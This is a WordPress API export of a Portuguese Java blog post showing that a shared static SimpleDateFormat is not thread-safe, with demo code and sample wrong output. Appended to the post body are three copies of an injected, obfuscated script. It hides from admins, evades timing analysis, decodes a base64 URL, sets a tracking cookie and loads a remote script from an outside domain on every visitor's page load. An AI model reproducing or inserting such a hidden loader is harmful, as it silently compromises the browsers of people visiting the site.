{"id":2597,"date":"2012-12-20T13:06:34","date_gmt":"2012-12-20T15:06:34","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=2597"},"modified":"2025-10-26T22:34:38","modified_gmt":"2025-10-27T01:34:38","slug":"funciona-na-minha-maquina-simpledateformat","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/12\/20\/funciona-na-minha-maquina-simpledateformat\/","title":{"rendered":"Funciona na minha m\u00e1quina: SimpleDateFormat"},"content":{"rendered":"<p style=\"text-align: justify;\">Um erro muito comum e bastante perigoso \u00e9 utilizar o SimpleDateFormat ou NumberFormat como atributo est\u00e1tico de classe. J\u00e1 vi dezenas de c\u00f3digos assim em sistemas em produ\u00e7\u00e3o:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">public static final SimpleDateFormat FORMATTER = new SimpleDateFormat(\n\t\t\t&quot;dd\/MM\/yyyy&quot;);<\/pre>\n<p style=\"text-align: justify;\">Qual \u00e9 o perigo disso? Essas classes n\u00e3o s\u00e3o thread-safe. O que significa isso? Significa que voc\u00ea n\u00e3o pode compartilhar o mesmo objeto (FORMATTER) em partes diferentes de c\u00f3digo que podem ser concorrentes. Isso \u00e9 muito comum em sistemas Web. Se voc\u00ea j\u00e1 fez isso em uma Servlet ou ManagedBean, saiba que o seu c\u00f3digo tem grandes chances de n\u00e3o funcionar conforme o esperado. Esse \u00e9 o famoso: \"Funciona na minha m\u00e1quina!\". Para demonstrar esse problema vamos utilizar o seguinte c\u00f3digo:<\/p>\n<pre class=\"brush: java; highlight: [11,30,31,32,33]; title: ; notranslate\" title=\"\">package br.com.thiagovespa.sample.date;\n\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.Random;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\npublic class SimpleDateFormatThreadUnsafe implements Runnable {\n\tpublic static final SimpleDateFormat FORMATTER = new SimpleDateFormat(\n\t\t\t&quot;dd\/MM\/yyyy&quot;);\n\tpublic static final String&#x5B;] toParse = { &quot;21\/12\/2012&quot;, &quot;04\/09\/1982&quot;,\n\t\t\t&quot;01\/01\/2013&quot;, &quot;25\/12\/2012&quot; };\n\n\tpublic static void main(String&#x5B;] args) {\n\n\t\tfinal int threadPoolSize = toParse.length;\n\t\tExecutorService execService = Executors\n\t\t\t\t.newFixedThreadPool(threadPoolSize);\n\t\tfor (int i = 0; i &lt; threadPoolSize; i++) {\n\t\t\texecService.submit(new SimpleDateFormatThreadUnsafe());\n\t\t}\n\t}\n\n\t@Override\n\tpublic void run() {\n\t\tfor (;;) {\n\t\t\ttry {\n\t\t\t\tString dateToParse = toParse&#x5B;new Random().nextInt(3)];\n\t\t\t\tDate parsedDate = FORMATTER.parse(dateToParse);\n\t\t\t\tString parsedDateToString = FORMATTER.format(parsedDate);\n\t\t\t\tif (!dateToParse.equals(parsedDateToString)) {\n\t\t\t\t\tSystem.out.println(&quot;Erro. Esperado: &quot;\n\t\t\t\t\t\t\t+ dateToParse + &quot;. Obtido: &quot; + parsedDateToString);\n\t\t\t\t}\n\t\t\t} catch (ParseException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\n\t}\n}\n<\/pre>\n<p style=\"text-align: justify;\">O problema se encontra na linha 11. Estamos criando 4 threads concorrentes que v\u00e3o converter (parse) de um valor do tipo String para Date (linha 31) e transformar o mesmo valor (format) de Date para String (linha 32). Na teoria o valor da linha 30 deveria ser o mesmo da linha 32, mas como o objeto SimpleDateFormat n\u00e3o \u00e9 thread-safe temos a seguinte sa\u00edda:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">Erro. Esperado: 01\/01\/2013. Obtido: 04\/01\/2013\nErro. Esperado: 01\/01\/2013. Obtido: 04\/01\/2013\nErro. Esperado: 04\/09\/1982. Obtido: 21\/12\/2012\nErro. Esperado: 04\/09\/1982. Obtido: 04\/09\/2013\nErro. Esperado: 04\/09\/1982. Obtido: 04\/12\/2012\nErro. Esperado: 21\/12\/2012. Obtido: 04\/12\/2012\nErro. Esperado: 01\/01\/2013. Obtido: 13\/01\/2013\nErro. Esperado: 04\/09\/1982. Obtido: 21\/12\/0001\nErro. Esperado: 21\/12\/2012. Obtido: 21\/12\/0001\nErro. Esperado: 04\/09\/1982. Obtido: 21\/09\/1982\nErro. Esperado: 01\/01\/2013. Obtido: 01\/12\/2011\nErro. Esperado: 21\/12\/2012. Obtido: 01\/12\/2011\nErro. Esperado: 04\/09\/1982. Obtido: 01\/01\/2013\nErro. Esperado: 01\/01\/2013. Obtido: 21\/12\/2012\nErro. Esperado: 01\/01\/2013. Obtido: 01\/01\/1982\nErro. Esperado: 01\/01\/2013. Obtido: 04\/09\/1982<\/pre>\n<p style=\"text-align: justify;\">O pior \u00e9 que n\u00e3o \u00e9 lan\u00e7ada nenhuma exception. O valor fica diferente do esperado. Normalmente, esse problema s\u00f3 vai aparecer quando o sistema estiver em produ\u00e7\u00e3o com v\u00e1rios usu\u00e1rios acessando (v\u00e1rias threads). A solu\u00e7\u00e3o \u00e9 sincronizar ou instanciar um objeto para cada convers\u00e3o ao inv\u00e9s de tentar reutiliz\u00e1-lo. Portanto, antes de dizer: \"Funciona na minha m\u00e1quina!\", pergunte antes se a classe que voc\u00ea est\u00e1 utilizando \u00e9 thread-safe.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Um erro muito comum e bastante perigoso \u00e9 utilizar o SimpleDateFormat ou NumberFormat como atributo est\u00e1tico de classe. J\u00e1 vi dezenas de c\u00f3digos assim em sistemas em produ\u00e7\u00e3o: public static final SimpleDateFormat FORMATTER = new SimpleDateFormat( &quot;dd\/MM\/yyyy&quot;); Qual \u00e9 o <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/12\/20\/funciona-na-minha-maquina-simpledateformat\/\">Continue lendo  <span class=\"screen-reader-text\">  Funciona na minha m\u00e1quina: SimpleDateFormat<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-2597","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2597","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2597"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2597\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2597"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2597"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2597"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}